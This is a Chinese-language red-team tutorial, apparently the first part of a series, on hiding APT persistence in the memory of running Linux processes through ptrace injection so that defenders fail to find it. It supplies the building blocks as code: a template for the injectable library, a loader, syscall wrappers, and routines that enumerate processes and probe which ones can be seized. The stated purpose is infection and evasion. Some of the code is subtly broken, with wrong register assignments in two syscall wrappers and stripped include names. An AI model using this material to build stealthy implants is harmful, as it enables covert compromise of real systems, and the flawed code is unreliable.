前言
在紅隊需要執行的各種任務中有一項因其使用的技術而引人注目:在系統中植入APT(高級持續性威脅),并確保它的持久性。不幸的是,這種持久性機制大多依賴于通過一種或多種激活技術(例如shell腳本、別名、鏈接、系統啟動腳本等)在不同位置保存可執行文件的副本,因此藍隊只需找到這些副本就能進行分析。
雖然安全人員遲早會發現到底發生了什么,但可以通過一些技術使得在受感染的計算機中難以(或者至少延遲)檢測APT。在本文中,我們將詳細介紹一種基于進程樹而不是常規的基于文件系統存儲的持久性機制。
前提條件
這種技術應用于x86-64 GNU/Linux,盡管理論上可以很容易地擴展到任何具有較為完整的調試API的操作系統。最起碼的要求是:任何現代GCC版本都能進行這項工作。
使用其他進程的地址空間作為倉庫
這種技術的思想是將正在運行的非特權進程的地址空間作為存儲區域,方法是在其中注入兩個線程:第一個線程將試圖感染其他進程,而另一個線程將包含攻擊載荷(在本例中,用于確保文件系統持久性)。如果文件被刪除,它將通過別名還原。
這種技術受到機器正常運行時間的嚴格限制,因此它應該用于不會頻繁重啟的系統。在其他系統中,它可以被當作一種補充的持久性機制。
注入
顯然最關鍵一步之一就是代碼注入本身。由于不可能事先知道代碼在受害者地址空間中的地址,所以代碼應該是PIC(position-independent code,與位置無關的代碼)。這顯然表明需要借助動態庫,因為它們在實際應用時會按照預期出現在內存中。但存在一些缺點:
理想情況下,注入應該盡可能小:幾個代碼頁,或者再多一個用于數據。而這其中還可能包含鏈接腳本。不論如何,為了證明這個概念,我們將實現一個共享庫。
另一個需要記住的限制是,目標進程不需要作為動態可執行文件加載(因此,C庫可能不需要動態加載)。另外,在加載的共享庫上手工解析符號是很麻煩的,因為依賴于ABI,而且幾乎無法維護。這意味著需要手工重新實現許多標準C函數。
另外,注入需要依賴ptrace系統調用。如果進程沒有足夠的權限(或者管理員禁用了這個功能),就無法使用這種技術。
最后還會遇到動態內存使用限制的問題。動態內存的使用涉及處理堆,而堆的內部結構沒有標準。通常不會在程序的地址空間中保持較大的內存占用,應該盡可能少地使用動態內存來減少內存占用。
概念證明
概念證明如下:
每一個階段都需要進行一些仔細的準備,下面將詳細介紹。
準備環境
為了讓代碼盡可能簡潔,使用一個編譯為共享庫的小型C程序作為入口點。此外,為了在使用程序前進行測試,將提供另一個在庫中運行特定符號的小型C程序。為了簡化開發,還將包括一個包含所有構建規則的Makefile。
對于可注入庫的入口點,將使用以下模板:
void
persist(void)
{
/* Implement me */
}
void
propagate(void)
{
/* Implement me */
}
執行入口點初始執行的程序將命名為“spawn.c”,如下所示:
#include
#include
#include
int
main(int argc, char *argv[])
{
void *handle;
void (*entry)(void);
if (argc != 3) {
fprintf(stderr, "Usagen%s file symboln", argv[0]);
exit(EXIT_FAILURE);
}
if ((handle = dlopen(argv[1], RTLD_NOW)) == NULL) {
fprintf(stderr, "%s: failed to load %s: %sn", argv[0], argv[1], dlerror());
exit(EXIT_FAILURE);
}
if ((entry = dlsym(handle, argv[2])) == NULL) {
fprintf(stderr, "%s: symbol `%s' not found in %sn", argv[0], argv[2], argv[1]);
exit(EXIT_FAILURE);
}
printf("Symbol `%s' found in %p. Jumping to function...n", argv[2], entry);
(entry) ();
printf("Function returned!n");
dlclose(handle);
return 0;
}
最后,編譯這兩個程序的Makefile,如下所示:
CC=gcc
INF_CFLAGS=--shared -fPIE -fPIC -nostdlib
all : injectable.so spawn
injectable.so : injectable.c
$(CC) $(INF_CFLAGS) injectable.c -o injectable.so
spawn : spawn.c
$(CC) spawn.c -o spawn -ldl
運行make命令編譯所有內容:
% make
(…)
% ./spawn injectable.so propagate
Symbol `propagate' found in 0x7ffff76352ea. Jumping to function...
Function returned!
系統調用
對于上面的Makefile,需要注意的是,injectable.so是通過-nostdlib編譯的(這是必需的),因此我們將不能訪問高級C系統調用接口。為了突破這一限制,需要混合使用C和內聯匯編,以便與操作系統進行交互。
通常情況下,x86-64 Linux系統調用是通過syscall指令執行的(而在較早的x86系統中,則使用0x80中斷)。在任何情況下,基本思想都是一樣的:寄存器使用系統調用參數填充,然后通過一些特殊指令調用系統。%rax的內容由系統調用函數代碼初始化,其參數按%rdi、%rsi、%rdx、%r10、%r8和%r9的順序傳遞。返回值存儲在%rax中,錯誤用負返回值表示。因此,在匯編中使用write()系統調用的簡單“hello world”如下所示:
movq $1, %rax // Syscall code for write(): 1
movq $1, %rdi // Arg 1: File descriptor (stdout)
leaq %rip(saludo), %rsi // Arg 2: Buffer address
movq $11, %rdx // Arg 3: size (11 bytes)
syscall // All set, call the kernel
[…]
saludo: .ascii “Hola mundon”
得益于GCC的內聯匯編語法,在C中使用匯編語言是相當容易的,而且由于它的簡潔性,它可以被簡化成一句代碼。GCC的write wrapper可以簡化為:
#include
#include
ssize_t
write(int fd, const void *buffer, size_t size)
{
size_t result;
asm volatile(“syscall” : “=a” (result) : “a” (__NR_write), “S” (fd), “D” (buffer), ”d” (size);
return result;
}
在“syscall”之后傳遞的值指定在執行匯編代碼之前如何初始化寄存器。在這種情況下,%rax(specifier:“a”)被初始化為__NR_write
(擴展到系統調用代碼以進行寫入的宏,如syscall.h中定義的那樣)、帶有buffer地址的%rdi(specifier:“D”)、%rsi(specifier:“S”)和包含字符串大小的%rsi(specifier:“S”)。返回值被收集回%rax(specifier:“=a”,等號表示“結果”是一個只寫的值,編譯器不需要擔心它的初始值)。
由于字符串解析在許多程序中很常見,而且通常都需要這一步,編寫strlen的實現(按照string.h中的原型)來度量字符串長度是很方便的:
size_t
strlen(const char *buffer)
{
size_t len = 0;
while (*buffer++)
++len;
return len;
}
它允許定義以下宏:
#define puts(string) write(1, string, strlen(string))
它提供了一種在標準輸出中顯示調試消息的簡單方法:
void
persist(void)
{
puts("This is persist()n");
}
void
propagate(void)
{
puts("This is propagate()n");
}
運行后應該產生以下輸出:
% ./spawn injectable.so persist
Symbol `persist' found in 0x7f3eb58403be. Jumping to function...
This is persist()
Function returned!
% ./spawn injectable.so propagate
Symbol `propagate' found in 0x7fb8874403db. Jumping to function...
This is propagate()
Function returned!
第一個困難解決,從現在開始,對于任何缺少的系統調用功能,都應該實現相應的C wrapper,所需的庫函數(如strlen)應該按照我們需要的相應的標準頭原型來實現。
枚舉過程
為了在其他進程中注入惡意代碼,第一步是了解系統中可用的進程。有兩種方法可以做到這一點:
雖然第一種方法看起來是最快的,但它也是最復雜的,因為:
雖然第二種方法看起來比較慢,但在現代操作系統中幾乎都能正常工作。在這種方法中,在PID范圍內通過信號0多次調用Kill,如果PID存在且調用進程可以向其發送信號(這反過來與調用進程的權限有關),則返回0,否則將返回錯誤代碼。
現在唯一未知的是PID_MAX
,它在每個系統不一定都是相同的。幸運的是,在絕大多數情況下,PID_MAX
被設置為默認值(32768)。由于在沒有發送信號的情況下,kill是非常快的,所以調用kill 33000次似乎是可行的。
使用這種技術,需要一個用于kill的wrapper。遍歷2到32768之間的所有可能的PID(因為PID 1是為init保留的),并為找到的每個進程打印一條消息:
int
kill(pid_t pid, int sig)
{
int result;
asm volatile("syscall" : "=a" (result) : "a" (__NR_kill), "D" (pid), "S" (sig));
return result;
}
編寫一個函數,打印十進制數字:
void
puti(unsigned int num)
{
unsigned int max = 1000000000;
char c;
unsigned int msd_found = 0;
while (max > 0) {
c = '0' + num / max;
msd_found |= c != '0' || max == 1;
if (msd_found)
write(1, &c, 1);
num %= max;
max /= 10;
}
}
現在剩下的工作是修改propagate(),用來進行枚舉:
void
propagate(void)
{
pid_t pid;
for (pid = 2; pid < PID_MAX; ++pid) if (kill(pid, 0) >= 0) {
puts("Process found: ");
puti(pid);
puts("n");
}
}
編譯后,預期得到這樣的結果:
% ./spawn injectable.so propagate
Process found: 1159
Process found: 1160
Process found: 1166
Process found: 1167
Process found: 1176
Process found: 1324
Process found: 1328
Process found: 1352
對于常規的桌面GNU/Linux發行版來說,通常會發現超過100個用戶進程。這相當于說有一百多個可能的感染目標。
嘗試PTRACE_SEIZE
這種技術的主要缺點:由于訪問限制(例如setuid進程),無法對上面列舉的一些進程進行調試。對每個已發現進程的ptrace調用(PTRACE_SEIZE)都可以用于標識哪些進程是可調試的。
雖然對于調試運行中的程序,首先想到的是使用PTRACE_ATTACH
,但是這種技術有副作用:如果成功,它將停止調試,直到使用PTRACE_CONT
恢復調試為止。這可能會影響目標進程(特別是當它對時間敏感時),從而被用戶發現。但是PTRACE_SEIZE
(在Linux3.4中引入)并不會停止目標進程。
根據libc,ptrace是一個可變的函數,因此通過始終接受4個參數、填充參數或不根據請求的命令填充參數,可以很方便地簡化wrapper:
long
ptrace4(int request, pid_t pid, void *addr, void *data)
{
long result;
register void* r10 asm("r10") = data;
asm volatile("syscall" : "=a" (result) : "a" (__NR_ptrace), "S" (pid), "D" (request), "d" (addr));
return result;
}
現在propagate函數如下:
void
propagate(void)
{
pid_t pid;
int err;
for (pid = 2; pid < PID_MAX; ++pid) if (kill(pid, 0) >= 0) {
puts("Process found: ");
puti(pid);
puts(": ");
if ((err = ptrace4(PTRACE_SEIZE, pid, NULL, NULL)) >= 0) {
puts("seizable!n");
ptrace4(PTRACE_DETACH, pid, NULL, NULL);
} else {
puts("but cannot be debugged <img draggable="false" class="emoji" alt="??" src="https://s.w.org/images/core/emoji/11/svg/1f641.svg"> [errno=");
puti(-err);
puts("]n");
}
}
}
它將列出系統上所有可調試的進程。
結論
前面的測試讓我們快速地了解了這種技術的可行性。到這一步,已經接近普通的調試器了,最大區別是我們的代碼是自動運行的。在下一篇文章中,我們將介紹如何捕獲調試器的系統來遠程注入系統調用。這些遠程系統調用將用于創建生成注入線程的代碼和數據頁。